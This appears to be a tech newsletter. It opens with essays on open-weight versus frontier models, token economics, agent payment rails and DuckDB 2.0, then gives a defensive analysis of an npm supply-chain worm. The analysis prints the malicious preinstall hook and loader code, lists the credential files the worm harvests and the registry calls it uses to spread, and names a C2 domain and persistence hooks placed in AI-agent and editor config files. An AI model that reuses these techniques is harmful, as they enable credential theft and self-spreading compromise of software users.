At the frontier, the loop closes when a lab uses model N to generate synthetic pre-training data, execute architectural searches, and write optimization code for model N+1, converting static compute expenditure into R&D velocity. Big lab model research remains on the accumulation curve, paying exponentially more compute for each increment of capability, producing better static artifacts at diminishing returns. The open-weight ecosystem achieves comparable results through asymmetric capital extraction: deriving reasoning paths, execution traces, and synthetic outputs from closed frontier APIs at near-zero marginal cost, then feeding those distilled outputs into a shared software stack (quantization algorithms, inference engines, agent harnesses) that persists and improves across model generations.

This structural divide explains why open-weight models appear to compound fast enough to close the distance to the frontier. Frontier labs pay the full capital cost of raw scaling to push closed weights forward. The open-weight ecosystem takes those outputs and runs them through a continuous software loop, using distilled outputs to generate synthetic training data, quantization to drop hardware requirements, and optimized harnesses to maximize task performance per token. The competitive unit is not the static parameter set, but the iteration speed of the loop utilizing it. Benchmarks isolate failures, post-training refines the weights, scaffolding extends single-inference capability, and the resulting tooling lowers the barrier for the next build cycle. Frontier labs accumulate value inside the model, but the open-weight ecosystem compounds capability across the loop.

Open Wait Models

Enterprises have been waiting for open-weight models to catch up with the frontier, on the assumption that the waiting game will pay off with a clear ending; keep the closed models for now, keep watching the open ones, and switch once the numbers get close enough that the decision makes itself.

Qwen3.6-27b, the model Qwen shipped before Qwen3.8, tied Sonnet 4.6 on Terminal-Bench 2.0 (59.3 to 59.1), which seemed like exactly the kind of result that should move an open model out of the “not ready yet” column. Until a researcher ran the same model through Claude Code’s harness and got 90.0 on SWE-bench Verified (against Sonnet 4.6’s published 79.6) which showed how real gains accrue thru deployment and orchestration, rather than weights, and that the benchmark was measuring the system wrapped around the model all along. That’s a problem for anyone waiting on a clean parity signal: if a harness moves the score that much, the milestone the industry has been waiting for was never purely a model-level event to begin with.

The progress that matters is happening in the gaps between releases rather than in them: harnesses improve, quantization gets better, fine-tuning gets cheaper, inference gets cheaper, deployment tooling matures, and capability shows up across those layers, all of which is what makes the wait so hard to define cleanly. If the goal is parity with the frontier, there’s a release to wait for. If the goal is practical competitiveness, the relevant progress is continuous and distributed across the stack, which means it’s accumulating somewhere the release schedule doesn’t cash out in a compounded benchmark.27

What is producing this pace? The popular answer “China is catching up” is true but incomplete. The more structurally interesting answer is that the open-weight ecosystem is accumulating the machinery required to reproduce, deploy, modify, quantize, evaluate, and build on capability that frontier labs spent billions to develop. Every Qwen release inherits that accumulated substrate: the quantization tooling, the inference optimizations, the benchmark harnesses, the agent scaffolding built on top of previous weights. The frontier labs are accumulating capability inside proprietary models. The open-weight ecosystem is accumulating the machinery that makes that capability deployable by anyone, anywhere, for free.

That’s a different economic dynamic. And it’s compounding faster than the frontier labs’ safety and governance apparatus can match, because as noted, capability is what gets benchmarked, funded, and capital-raised against, not alignment. Judgment about deployment isn’t a line item anyone is racing to win. The capability gap between open-weight and proprietary models is shrinking faster than the governance gap is closing. Is open-weight vs. frontier a proxy for East vs. West? Or is it just that open weights shift where value accumulates? Frontier labs accumulate value in the weights themselves, which are proprietary. Open-weight models accumulate value in the ecosystem built on top of freely available weights: the inference stacks, the fine-tuning pipelines, the evaluation harnesses, the deployment tooling. It’s the ecosystem that compounds; the weights are just the accumulated starting point.

Enter the Dragon

As promised, Alibaba shipped Qwen3.8-27B as open weights on August 14 and, at 52, it ranked above GPT-5.3, Gemini 3.1 Pro, and Opus 4.6 on Artificial Analysis’s Intelligence Index. OpenAI’s flagship GPT-5.6 Luna only matches that 52 score at its maximum reasoning setting. Over the cloud. Metered. (”Let that sink in.”) All of these frontier models were state-of-the-art just a few months ago. The open-weight model that leapfrogged them has a 4-bit quantized build that runs on a consumer GPU and fits in roughly 17GB of VRAM; a high-end gaming desktop, not a data center. Is the wait finally over?

Open-weight models match frontier performance at a fraction of the cost because they aren’t competing on raw training scale, they’re accumulating the underlying machinery. Proprietary labs hoard capability inside static weights, but the open ecosystem accumulates the quantization runtimes, benchmark harnesses, and agent scaffolding that make capability deployable anywhere for free.

This structural split comes down to unit cost versus token economics. Behind a metered API, every completion token carries a non-zero marginal cost, forcing developers to budget output length and optimize for token efficiency. On unmetered local infrastructure, the marginal cost per output token drops to zero, fundamentally altering how systems generate capability. Unshackled from API billing, open-weight deployments routinely burn an order of magnitude more completion tokens, trading extended test-time thinking, brute-force reasoning searches, and massive synthetic feedback loops for raw parameter scale. The compounding feedback loop isn’t happening in the static model; it is happening in the zero-marginal-cost engine driving the output.

Yet Artificial Analysis annotates its own asterisk to the 52: the scores still need independent validation, the model’s reasoning can be inefficient by default, and no single leaderboard establishes real parity with what it’s being compared to. That asterisk is both correct and responsible, and it won’t really slow anything down, because the number is the legible artifact, not the caveat. The benchmark score compounds into the next comparison table, the next Hacker News thread, the next procurement conversation. Whether the score means what the reader assumes it means does not compound into anything; it gets restated once, by whoever read the methodology, and then it’s gone. It’s antimemetic, if you want to be technical.

Technical Specs

• Fable 5 (Jun 9): ~1.8T MoE parameters, 1M context (128K max output), $10/$50 per MTok, 30-day strict log retention requirement, native task budgets & context editing

• Sonnet 5 (Jun 30): Frontier MoE architecture, 1M context (128K max output), $3/$15 per MTok, Zero Data Retention (ZDR) supported, 80.4% Terminal-Bench & 85.2% SWE-bench Verified

• Grok 4.5 (Jul 8): xAI V9 MoE architecture, 1.5T parameters, 500K context window, $2/$6 per MTok, 80 tok/s output, fine-tuned on Cursor dev telemetry

• GPT-5.6 Sol (Jul 9): Hybrid dense-reasoning network, 1.05M context, persisted multi-turn reasoning context (reasoning.context), Pro Mode extended search compute, raw pixel-dimension image ingestion

• Kimi K3 (Jul 16): 1.2T parameter MoE, 256K context, native step-by-step reinforcement search, $1.80/$4.50 per MTok, open-weights base model released under Apache 2.0

• Gemini 3.6 Flash (Jul 21): Native multimodal runtime, 2M context window, <250ms time-to-first-token (TTFT), Sub-cent token pricing ($0.10/$0.40 per MTok), built-in client tool execution sandbox

• Opus 5 (Jul 24): Frontier MoE architecture, 1M context (128K max output), $5/$25 per MTok, Fast Mode (2.5x speed/2x cost), SOTA on Frontier-Bench v0.1 (doubles Opus 4.8), Zero Data Retention

• DeepSeek V4 Pro (Aug 13): MoE baseline with active sparse routing, 1M context (384K max output), $0.69/$2.08 per MTok, $0.02 cached read, dual-mode thinking/non-thinking API switch

• Qwen3.8-Max (Aug 3): 2.4T-parameter MoE (~95B active), 1M context (131K max output), multimodal text/image/video, $2/$6 per MTok ($0.25/MTok implicit-cache input), native function calling/structured outputs; 86.6 Terminal-Bench 2.1, 67.7 SWE-bench Pro, 86.1 OSWorld-Verified, 92.6 GPQA Diamond, 93.0 PaperBench.

  • Benchmarks (vs. Opus/Fable/Sol): On Alibaba’s Aug. 3 comparison, Qwen3.8-Max scores 86.6 vs 84.6/84.6/88.8 on Terminal-Bench 2.1; 67.7 vs 69.2/80.0/64.6 on SWE-bench Pro; 93.0 vs 80.3/88.8/90.5 on PaperBench; 92.6 vs 92.0/92.6/94.1 on GPQA Diamond; and 82.8 vs 62.2/63.5/72.7 on IFBench.

• Qwen3.8-27B (Aug 14): 27B-parameter dense multimodal model, native vision + video understanding, 262K native context (extendable to 1M with YaRN), flexible thinking/reasoning control, Apache 2.0 open weights; hybrid Gated DeltaNet + Gated Attention architecture, with MTP.

• GLM-5.3 (Aug 14): ~753B-parameter MoE, 1M context, same GLM-5.2 base with scaled post-training, frontier coding/agentic performance, 84.5% CyberGym, 28.3 Terminal-Bench 3.0; staged API/open-weight release due to cybersecurity abilities

• GLM-5.3 (Aug 14/18): ~753B-parameter MoE, 1M context, frontier coding/agentic performance; agent-focused runtime with function/tool calling, structured JSON output, and support for asynchronous tool-driven workflows; 84.5% CyberGym, 28.3 Terminal-Bench 3.0; staged API/open-weight release due to cybersec abilities.

• Inkling (Jul 15): 975B total / 41B active sparse MoE, native multimodal reasoning (text/image/audio), up to 1M context, controllable thinking effort, Apache 2.0 open weights, customizable/fine-tunable through Tinker

  • Inkling-Small (Jul 30): 276B total / 12B active MoE, up to 1M context, native image/audio reasoning, variable thinking effort, Apache 2.0 open weights, ~$0.50/$1.20 per MTok, roughly ¼ the size of Inkling with comparable performance

• Ox Alpha (Aug 20): Anonymous stealth reasoning/coding model; 1.048M context (~131K max output), text/image/video input, $0 preview pricing, optimized for long-horizon agentic coding; vendor/architecture undisclosed, community evidence currently pointing toward Zhipu/GLM rather than Google

Tokens Go Brrrr

Agentic coding tasks consume roughly a thousand times more tokens than ordinary code chat or basic reasoning tasks.

That asterisk on Qwen3.8-27B's 52 score28 said the model's reasoning can be inefficient by default. Nous Research put a number on it: open-weight reasoning models burn one and a half to four times more tokens than closed models for the same answer, up to ten times more on simple questions. Mistral's Magistral models are the worst offenders on record.

Open-weight models didn’t reach frontier capability for free. They got there the way anyone gets anywhere fast on no budget: by making more in-game currency. A model taking 10,000 tokens to solve a problem and one taking 1,000 tokens to solve the exact same problem score identically on the leaderboard, yet one costs ten times as much to run. Closed labs feel that directly, on their own balance sheets: Claude Opus 4.7 hit nearly the same accuracy as 4.6 on a quarter of the tokens, a lab explicitly deciding that verbosity was never the actual product. Open-weight projects have no equivalent accounting. A lab ships the weights; whoever deploys them covers the electricity, the GPU time, and the invoice. No bad faith required. Nobody is hiding the token count. Nobody is required to look at it. (See “Who’s Job Is It?, op cit.)

Agentic work turns this from a per-answer cost into a per-trajectory one. A task that once took a single prompt and a single completion now generates context retrieval, tool calls, file inspection, intermediate reasoning, test execution, retries, and corrections, all of it re-sent as input on every subsequent turn. A Stanford Digital Economy Lab study of eight frontier models on SWE-bench Verified found agentic coding tasks consume roughly a thousand times more tokens than ordinary code chat or basic reasoning tasks. The exact same task varies by up to 30x in total token usage from one run to the next. And higher spend doesn’t reliably buy higher accuracy; performance tends to peak at intermediate compute and degrade past it.

The open-weight case doesn’t escape this by being free to run. Artificial Analysis clocked Qwen3.8-27B tokens to reach a score of 52, at 160 million output, against a median of about 45 million for comparable open-weight models. Qwen3.6-27B, the model it replaced, burned 140 million tokens to score 38. The generational jump in capability arrived bundled with a generational jump in verbosity; a model running free on a desktop isn’t actually free if it needs three and a half times the tokens of its peers to think its way to an answer, and the meter that would normally catch that difference is either not running or if it is no one is noticing.

Enterprise vendors have noticed. Snowflake’s August announcement smells like a confession: enterprises have become, in the company’s words, “much more rigorous about the economics of AI,” and are deploying dynamic model routing explicitly to suppress token consumption. The router decides which model is cheap enough for a basic task, which earns a frontier reasoning call, when to retry, and when to cut execution off. The routing is the harness. The harness is where the savings live.

None of this is a new failure mode, just an inconveniently well-timed one. Researchers have spent two years documenting overthinking: a reasoning model that keeps generating chain-of-thought on a problem it already solved three hundred tokens ago, occasionally talking itself out of the right answer along the way, or spending thousands of tokens rediscovering facts it already established earlier in its own output. Length behaves like an unconstrained hyperparameter, not a virtue. Past some threshold, more of it makes the answer worse. A model trained to always think has no mechanism for asking whether this particular question needed thinking at all.

We still lack a coherent framework for measuring token quantity against actual output quality. A token is a billing unit, not a unit of useful work. Which are each optimized for different things. AI researcher Tim Dettmers continuously points out, frontier models force unnecessary token output—over-thinking and emitting bloated chains-of-thought—when concise, structured execution is what developers actually need. Because no objective trade-off metric exists, the primary feedback mechanism for token inflation remains the invoice, where a CTO unexpectedly discovers that autonomous developer agents burned their entire annual API budget by April. More troubling than run rate itself is where the feedback is surfacing; not in a dashboard but a quarterly budget review, months later. Surprise, AI is expensive. We knew that already. What we still don’t know is how to determine how much of the bill is reasoning that matters and how much is the model being over-optimized for apparent effectiveness over efficiency.

The extreme variance in ACT here (the 4.33x jump from 4,500 to 19,500 tokens) for the exact same task reflects the gap between models using aggressively compressed reasoning traces and those running unconstrained, multi-path search loops.

None of which makes the extra tokens worthless, per se. A properly harnessed agentic model in the hands of someone who already knows what good looks like is now shipping thirty-six tickets between close of business and the next morning’s standup, and no hourly rate card was built for that. Lawyerly billable rates start to look quaint by comparison, at least pegged to something resembling effort. So you bill by the token, like everyone else does, because it’s the only unit left standing. We’re all in the token factory now (or software factory29 if you prefer) and the factory can’t tell the ten tokens that solved the problem from the ten thousand spent rediscovering things it already figured out. Do we just need a better factory?

You Better You Better You Bet

The answer is no, you don’t just need a better factory.
You need to understand what the factory is actually stamping out.

Let’s be honest about what’s happening; AI wants to eat everything, and crypto is providing the plumbing for how it’s rewiring the modern world—and somewhat taking a second seat. (Sorry, frens.) Whatever dreams of total monetary redesign once dominated the space, the action (which is to say capital allocation) has moved elsewhere. Crypto didn’t disappear tho, it’s evolved into a silent, specialized utility layer servicing an even more voracious species of software. Stripped of speculative excess, two specific primitives survived the purge to become indispensable to the agentic economy: stablecoins as programmable liquidity, and prediction markets as probability engines.

When an LLM reasoning loop plans a task, it consumes a string token, a fragment of text scored by a probability matrix. When that same agent needs to cross an HTTP boundary to buy more inference or trigger a tool via x402, it pays with a cryptographic token, a balance-state on a programmatic settlement rail. And when that agent needs to hedge the execution risk of its own multi-step task or query external reality, it buys an event token on a prediction market, a binary derivative priced between zero and one that acts as a real-world probability index.

The symmetry is almost too poetic. At its core, an LLM is a token-predicting machine; a system that ingests context and computes the probability distribution of the next sequence. Prediction markets are literally so-named because they are prognostication aggregators; externalizing the exact same probabilistic gesture across human and machine financial consensus. When autonomous agents need to evaluate real-world uncertainty, price execution risk, or hedge a task outcome, they don’t consult static logic; they query a live order book. Token prediction on the inside; prediction aggregation on the outside.

Neither mechanism needs to know the story behind the number; in each case the number itself is the story. A model doesn't need to know why a logit has the probability it has; it just does the math and calculates the next result. A prediction market doesn't need to know why need to know why a Kalshi contract is sitting at 63¢, it just takes that price as an input to its next update. It doesn’t need to know why a trader holds a particular thesis; the thesis disappears into the price, and the price is what settles the trade. This, then is their structural kinship, and also what distinguishes both from a benchmark.

A benchmark operates under a different temporal regime: post hoc (or post rem gestam); not during, but after. A benchmark exists after the run, a static score recorded once execution terminates. A prediction market operates during the run, an inline signal the agent queries mid-task to decide what happens next. One grades what has happened; the other steers what is happening.30

And this is also the differentiation we see where the model meets everything wrapped around it, in the loops and the harnesses and the evolving ecosystem where we have been “sitting with the question” as to whether recursive self-improvement is compounding or merely accumulating. The model layer is commoditizing as open weights close the capability gap fast enough that whatever lead a frontier model established in the previous iteration gets absorbed into the wider ecosystem before the next generation arrives. When the model itself stops being a durable advantage, the harness wrapped around it, what model it calls, how long it lets that model think, what it's willing to pay for the answer, becomes the thing that's actually doing the work. And this is what is now becoming legible across the entire stack:

• Model weights are accumulating along predictable power laws, but the harnesses, quantization stacks, and execution loops wrapped around them are fiercely compounding.

• Software development is shifting from human-paced craftsmanship to machine-paced cascades, pushing physical data centers and platforms like GitHub to structural failure.

• Monetized token APIs attempt to tax this momentum through billable verbosity, but open-weight ecosystems and dynamic orchestration harnesses are engineering ways to route around the meter entirely.

• And at the top of the stack, an automated financial rail, anchored by GENIUS Act stablecoins, wired through x402, and priced by prediction markets, gives those machine loops a native currency to trade the very volatility they create.

                              AGENTIC FINANCE 
                    
   ┌──────────────────────┐   [1] Legitimizes    ┌──────────────────────┐
   │ Federal Legalization │ ───────────────────> │ Unmetered Liquidity  │
   │  of Payment Stable-  │   Institutional      │ (USDC, Treasury-     │
   │   coins (GENIUS Act) │     Capital          │    backed rails)     │
   └──────────────────────┘                      └──────────────────────┘
              │                                             │
              │                                             │ [2] Provides Programmable
              │ [4] Accelerates Jurisdictional              │     Settlement Capital 
              │     Friction (NY Lawsuit vs.                │     via x402 Protocol
              │     CFTC/Kalshi/Polymarket)                 ▼
              ▼                                  ┌──────────────────────┐
   ┌──────────────────────┐                      │ Micro-Settlement for │
   │ Real-Time Volatility │ <─────────────────── │ Autonomous Machine   │
   │  Prediction Markets  │   [3] Prices Risk &  |   Agents             │
   │ (Kalshi, Polymarket) │       Hedges Task    └──────────────────────┘
   └──────────────────────┘       Outcomes

1. Legitimizes Institutional Capital: The implementation of the GENIUS Act (Guiding and Establishing National Innovation for U.S. Stablecoins) and Treasury/OCC rulemaking gave institutional capital the explicit regulatory green light to mint, hold, and deploy reserve-backed payment stablecoins at scale.

2. Provides Programmable Settlement Capital via x402 Protocol: Yield-bearing stablecoin reserves feed directly into autonomous machine wallets using x402—the open HTTP-native payment standard governed under the Linux Foundation. Agents negotiate, authorize, and settle API calls, inference-time compute, and micro-tasks inline via HTTP 402 Payment Required headers without human intervention or credit cards.

3. Prices Risk & Hedges Task Outcomes: Equipped with x402 payment rails, autonomous agent loops interact directly with prediction exchanges (Kalshi, Polymarket). Agents place micro-wagers to hedge execution success, price latency volatility, and pull external market probability distributions back into their internal reasoning chains.

4. Accelerates Jurisdictional Friction: The explosion of real-time, agent-accessible event derivatives triggered aggressive pushback—exemplified by New York State’s legal campaign against Kalshi and Polymarket over unlicensed gambling allegations. It is a classic turf war: state-level gaming regulators attempting to enforce geographic boundaries on an unmetered, programmatic settlement layer.

The Treasury issued its proposed rule on payment stablecoin issuance last Monday (August 17th). FinCEN and OFAC followed two days later with the anti-money-laundering requirements behind it; whatever happens to the rest of crypto, the dollar token survived long enough to become boring plumbing, exactly what the machine economy needed. x402 now counts Anthropic, Google, Stripe, and Visa among its members; an agent sends a signed payload, pays in USDC, and retries the request in the same round trip. Kalshi and Polymarket cleared more than $50 billion in combined monthly volume this summer, more than every legal U.S. sportsbook combined, and it’s (‘quietly’) moving from crypto edgelords to TradFi: more than a quarter of Wall Street interns surveyed by Morgan Stanley said they’d used a prediction-market app in the past year. Which naturally invites attention. New York sued Kalshi on July 31st for $36 billion; the CFTC answered within days, issuing an emergency directive ordering Kalshi to keep operating on federal preemption grounds, asserting exclusive federal jurisdiction over the same contracts a Manhattan federal judge had already let New York regulate. A dozen other states are running some version of the same fight. No one is confused about what a prediction market is; they’re fighting over who gets to say so, and the answer decides whether tens of billions a month gets taxed as gambling or supervised as a federal financial instrument.

The point of x402 is not that AI agents need crypto because crypto is fashionable.

This regulatory collision stems directly from a structural shift in software design. Regulators attempt to enforce static, post-hoc legal categories on an infrastructure that operates as a dynamic, continuous feedback loop. The financial stack splits along the exact same functional line as the execution layer powering it. A model’s parameters accumulate a static quantity, scored after the fact, the same way a benchmark is. The harness and routing layer wrapped around it compounds instead: dynamic, live, updating with every call the same way a market updates with every trade. The split isn’t really about speed. (Sorry, Virilio.) Accumulation is iterative: run, record the result, run again; the pile gets bigger, but the last run is never an integral part of the machinery producing the next one. Compounding requires participation: the output of one round enters the mechanism that generates the next round, so the system’s history becomes part of its own operating state, not just a ledger of what it’s done. A benchmark score can pile up forever without ever touching the run that produced it. A market price gets used in the very decision it’s pricing. A token gets billed like a metered utility, so the harness gets trained to produce tokens, not to ask whether fewer of them would have served you better. An agent gets a funded wallet and a payment rail before anyone’s perfected the sandbox it’s supposed to stay inside. Every one of them split the same way: one half accumulates, the other participates.

If prediction markets were just benchmarks, nobody would be suing them. The legal and financial war happened this summer precisely because agents got funded wallets and started using live order books as runtime inputs during execution. New York’s suit targets the bet itself. The GENIUS Act regulates the rail underneath it. This summer autonomous agents got funded wallets at the exact moment prediction markets became large enough to move policy, while all the lawyers currently suing each other over jurisdiction argue whether an agent with money and no human in the loop is a feature of this stack or a bug, and machine go brrr.

All of which leaves us with a macroeconomic apparatus that looks less like a tech stack and more like a self-referential perpetual motion engine that insists it respects the laws of physics. The frontier labs burn billions in compute to accumulate static weights; the open-weight ecosystem strips those weights for parts, wraps them in zero-marginal-cost local harnesses, and unleashes autonomous agents to trade prediction derivatives against the latency of their own API calls. It’s tokens all the way down, a highly improbable probabilistic unified infrastructure running on unmetered local harnesses and state-level regulatory friction. The string token predicts the text, the cryptographic token settles the compute, and the event token hedges real time odds whether the whole loop compounds or collapses before the standup call tomorrow morning which has now accumulated more agents than humans on it.

One More Thing…

“A major version bump is not something we do lightly or just for ceremony…”

DuckDB dropped its preview of v2.0 on Aug 17, codename Cyanoptera, after the cinnamon teal (Spatula cyanoptera), a reddish-brown duck found in the western Americas, and the joke I made about DuckLake being “something to quack about” a year ago is now the literal name of the protocol. The big thing team MotherDuck is quacking about is that its a genuine architecture shift, not a version-number vanity bump: DuckDB (the single-client, in-process database) gets a client/server mode, and the quack extension graduates from preview to stable, giving you a native CONNECT statement that either talks to another DuckDB over the wire or pushes SQL straight down into Postgres/MySQL, no more pulling tables over the network first. There’s also a genuinely new SQL parser (they finally ditched the Postgres-derived one), triggers with transition tables, a new default storage format, and a recursive CTE engine that’s 40x faster on their own benchmark. Async I/O finally decouples the query engine from S3/object-store latency, and (extension authors, this one's for you) a stable, versioned C API, so you can stop recompiling your extension for every point release. Mühleisen's framed it as "the year of DuckDB as a server." but longtime DuckDB users will welcome it as the End of Local/Remote Dualism.

We are entering an era where the artificial dichotomy between “embedded local engine” and “distributed cloud warehouse” is collapsing into a single continuum. When an in-process columnar database can handle graph-recursive CTEs 40x faster, push similarity vector joins (NEAREST) into local pipeline execution, and saturate cloud backplanes over async sockets (without blowing out memory bounds) the threshold for spinning up heavy, expensive analytical clusters gets pushed back significantly. At the risk of sounding like their marketing dept is paying me off, whether you’re embedding high-throughput log evaluation inside edge agents or rethinking your data lakehouse egress costs, DuckDB 2.0 isn’t just an incremental point release, it’s a refactoring of how we build data infrastructure. If you're already running DuckLake or Iceberg locally, the partition-aware planner alone is worth it. GA is targeted for this fall.

UPDATE: AWS has acquired DuckLabs

🍽️

Until next time, see you at Lunch!

The next CTO Lunch will be on Tues September 22nd, which is the last day of Summer.

Join the global mailing list at ctolunches.com

Technical analysis of the latest npm registry hack for CTOs & security researchers;
and why this “mini” wurm, Shai Hulud, is literally right out of Heretics of Dune

📌 skip to 30/60/90

If you are currently sitting in a hotel lobby in Las Vegas for Hacker Summer Camp,1 your phone has probably spent the last four hours buzzing itself off the table.2

While half the industry is listening to briefings on LLM jailbreaks and hardware side-channels, an automated supply chain wurm (a variant of the Mini Shai-Hulud3 payload named by TeamPCP for the sandworms in Dune) was quietly ripping through the Node.js ecosystem at a rate of roughly a hundred downstream packages an hour. The estimate is that this attack is the #3 worst incident in npm’s long and storied history of such problems, following Left-Pad at #2 and 2018’s Event Stream holding down #1.4

Supercritical Cascade

If you cloned the keyv repository after 09:00 UTC yesterday (4 Aug) even to audit the compromise—or any library that transitively depends on it, obvi— your IDE may have executed the payload.

The cascade began in the quiet, unglamorous bedrock of the Node.js ecosystem: attackers compromised the GitHub account of the primary maintainer behind keyv, (a staple key-value DB interface with ~127M weekly downloads) and, because dependency graphs in the modern JavaScript ecosystem resemble dense, entangled bamboo root systems more than clean directed acyclic graphs, compromising keyv instantly granted access to its sister caching layer abstractions, cacheable, flat-cache, & file-entry-cache as well, all low-level primitives sitting near the root of thousands of transitive dependency graphs (but mostly bc Jared also controlled these ubiquitous caching libraries):

• keyv

• cacheable

• flat-cache

• file-entry-cache

From there, the wurm executed a self-propagating loop directly inside the build environment; within a 4-hour window, the wurm harvested tokens from build runners and compromised over 860 downstream packages across other maintainers, affecting libraries with a combined footprint of over 2 billion monthly downloads.

When the maintainer’s credential path was compromised, the resulting blast radius wasn’t owing to the attacker’s extraordinary sophistication (sorry guys) but the direct, mathematical output of how npm’s maintainer-trust model composes at graph scale. If you inspect the raw package diffs, you’ll see there are no zero-day kernel exploits, no memory corruption primitives, no tricky buffer overflows. Instead, the attack relies on the oldest execution primitive in the ecosystem: the humble preinstall hook.

The published package.json for keyv@6.0.05 looks, to a casual audit, essentially like the previous release: dist/ output is byte-identical to the last clean version. (!)
The attack surface is two added files and a single modified field:

"files": ["dist", "LICENSE", "setup.mjs", "Math_Symbol.js"],
"scripts": {
  "preinstall": "node setup.mjs"
}

setup.mjs is the first-stage loader. It is lightly obfuscated Node that detects platform and architecture (including Alpine/musl variants, via ldd --version and /etc/os-release), fetches a platform-matched standalone Bun runtime at version 1.3.13 if one is not already present, unzips it using system unzip on POSIX, PowerShell Expand-Archive on Windows, or a hand-written pure-JavaScript ZIP parser as a fallback, and then executes the second stage under the freshly fetched binary:

const V = "1.3.13";
const E = "math_init.js";
const url = "https://github.com/oven-sh/bun/releases/download/bun-v" + V + "/" + target + ".zip";
// ...
execFileSync(bunBinary, [payloadPath], { stdio: "inherit", cwd: D });

Math_Symbol.js is the second stage, approximately 728 KB bundled. Wiz attributes the payload lineage to the “Mini” Shai-Hulud malware family, the same codebase that powered the TeamPCP campaign against Mistral, PyPi and TanStack packages back in May6 and the Red Hat Cloud Services OIDC-bypass incident in June. The Shai-Hulud open-source repositories that TeamPCP published form the ancestor; this variant diverges on several specifics.

Running the second stage under a downloaded Bun binary sidesteps the host Node version and any Node-level process monitoring. The IOC for this is the process ancestry: node setup.mjs spawning a process under /tmp/bun-dl-*/. (If your EDR is not instrumenting that chain on build runners, you’re not seeing this attack.)

String protection uses polymorphic basE91 encoding with a shared numeric opcode table driving per-scope alphabets decoded lazily. Recovering the plaintext requires reimplementing basE91 and brute-forcing each alphabet. Socket’s reversers did this;7 the resulting capability map is extensive to say the least.

Exfiltration avoids a fixed C28 host by reading target domains from an Ethereum smart contract (StringListStore) via eth_call. The on-chain history shows the contract was initialized with three domains before being updated to resolve only to npm-cache[.]com (104.21.35.216, behind Cloudflare). That the contract owner address had prior flagging as scam-associated is operationally significant: it means the operator can now rotate C2 infrastructure without touching the payload binary. Revocation and re-deployment of the malware are decoupled, which is a meaningful upgrade in operational security over hardcoded C2 addresses (for the attacker, that is.)

Inspecting the Payload

The engineering elegance of the payload lies in its bootstrap mechanism. Once the preinstall hook executes, it immediately drops a standalone, single-binary Bun runtime directly into host memory or a local temporary directory.

By executing the secondary payload inside an isolated, bundled runtime rather than spawning standard Node sub-processes or shell utilities, the wurm exits the host’s process monitoring envelope entirely. Standard runtime application self-protection (RASP) agents, APM tooling, and process-tree telemetry looking for anomalous Node or bash children are rendered blind. The payload bypasses security controls by running in an execution context the instrumentation was never configured to observe.

To understand why traditional incident response playbooks failed during the incident, we need to examine the operational architecture of the payload’s four distinct modules: (bracketed names are from the wurm’s source code.)

• The Harvester [collector] avoids leaving artifacts on disk by scanning live process memory directly. In modern CI/CD runners, short-lived OIDC tokens exchanged with cloud providers reside in runner memory, not on disk where a scanner might find them. The harvester pulls ephemeral bearer tokens out of the execution context mid-build: AWS IMDS v1 and v2, the full credential chain from ~/.aws/credentials and ~/.aws/config, Secrets Manager across all regions, GCP service account private keys, Azure client secrets, Vault tokens at /home/runner/.vault-token and /run/secrets/VAULT_TOKEN, Kubernetes service account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token, GitHub Actions OIDC tokens, and a TruffleHog-style regex sweep for anything else on disk. New in this variant: AI agent credential stores for Claude Code, OpenAI, Codex, Cursor, and Gemini; cryptocurrency keystores for Foundry, Solana, and Monero; Jenkins master.key; Argo CD; Alibaba Cloud and Tencent Cloud CLI configs; /etc/shadow. Target surface expanded roughly 70% over prior Shai-Hulud releases.

• The Publisher [publish] avoids the credential your MFA policy actually protects. Propagation travels through npm publishing tokens, not GitHub account credentials, which means hardware-bound 2FA, YubiKeys, and phishing-resistant WebAuthn on the maintainer’s GitHub account are completely irrelevant. Once the wurm holds an active npm token, it calls:

  https://registry.npmjs.org/-/whoami
  registry.npmjs.org/-/v1/search?text=maintainer:<victim>
  https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/<pkg>

  For each reachable package, it downloads the last clean tarball, injects setup.mjs and Math_Symbol.js, recomputes integrity and shasum, bumps the patch version, and issues a PUT to the registry — without ever touching the GitHub web UI. Where npm OIDC trusted publishing is configured, the republished version inherits valid provenance. That is how the wurm crossed namespace boundaries without requiring additional GitHub account compromises.

  • If sufficient GitHub secrets were collected, a public GitHub repository is created through GitHub APIs, and the same encrypted results are committed to Dune-themed repository names such as atreides-lasgun-393 or gesserit-fedaykin-112. (The naming corpus thankfully terminates before the Bene Tleilax begin making perfectly reasonable suggestions about futars9).

• The Dispatcher [dispatch] avoids having a domain your abuse desk can find. Corporate security teams have spent two decades building domain-revocation playbooks: identify the C2 endpoint, file an abuse ticket with AWS or Cloudflare, watch the infrastructure go dark. Mini Shai-Hulud routes C2 state through an Ethereum smart contract (StringListStore) via eth_call instead. The on-chain history shows the contract initialized with three domains before updating to resolve only npm-cache[.]com (104.21.35.216). The operator rotates infrastructure without touching the payload binary. “There is no abuse desk for an Ethereum smart contract.”

• The Workstation Vector [provenance] avoids dying with the runner. Ephemeral CI/CD runners self-destruct after a build completes, which would normally halt a wurm’s persistence. Instead, the payload checks whether it is running on a developer machine and plants hooks in .claude/settings.json (SessionStart) and .vscode/tasks.json (folderOpen). Both execute setup.mjs when a developer or AI coding agent opens a cloned repository — no subsequent npm install required. The developer’s local environment becomes a persistent token harvester that re-infects every repository they open. Exfiltration goes via a GitHubSender that creates repositories under compromised identities using the GraphQL createCommitOnBranch mutation (description: Shai-Hulud: Here We Go Again) and a DomainSender over DNS as fallback.

Persistence is planted in two locations that require no subsequent npm install to subsequently trigger: .claude/settings.json receives a SessionStart hook and .vscode/tasks.json receives a folderOpen task. Both execute the same setup.mjs loader when a developer or an AI coding agent opens a cloned repository.10

For each package reachable under the stolen identity, the payload downloads the last clean tarball, injects setup.mjs and Math_Symbol.js, recomputes integrity and shasum fields, bumps the patch version, and issues a PUT to the registry. Where npm OIDC trusted publishing is configured on the source repository, the republished version can inherit valid provenance. That is how the wurm crossed namespace boundaries without requiring additional GitHub account compromises: it propagated through npm tokens, not through GitHub credentials.

Dead-Man’s Party

The wurm’s dead-man’s switch is its most operationally dangerous feature, the one most likely to cause harm during incident response.

When a security operations center detects an active credential leak, the universal, zero-reflection First Commandment of Incident Response is immediate, aggressive secret revocation: kill the tokens, drop the sessions, revoke the API keys.

Mini Shai-Hulud is aware of this, and contains a trap just for such response.

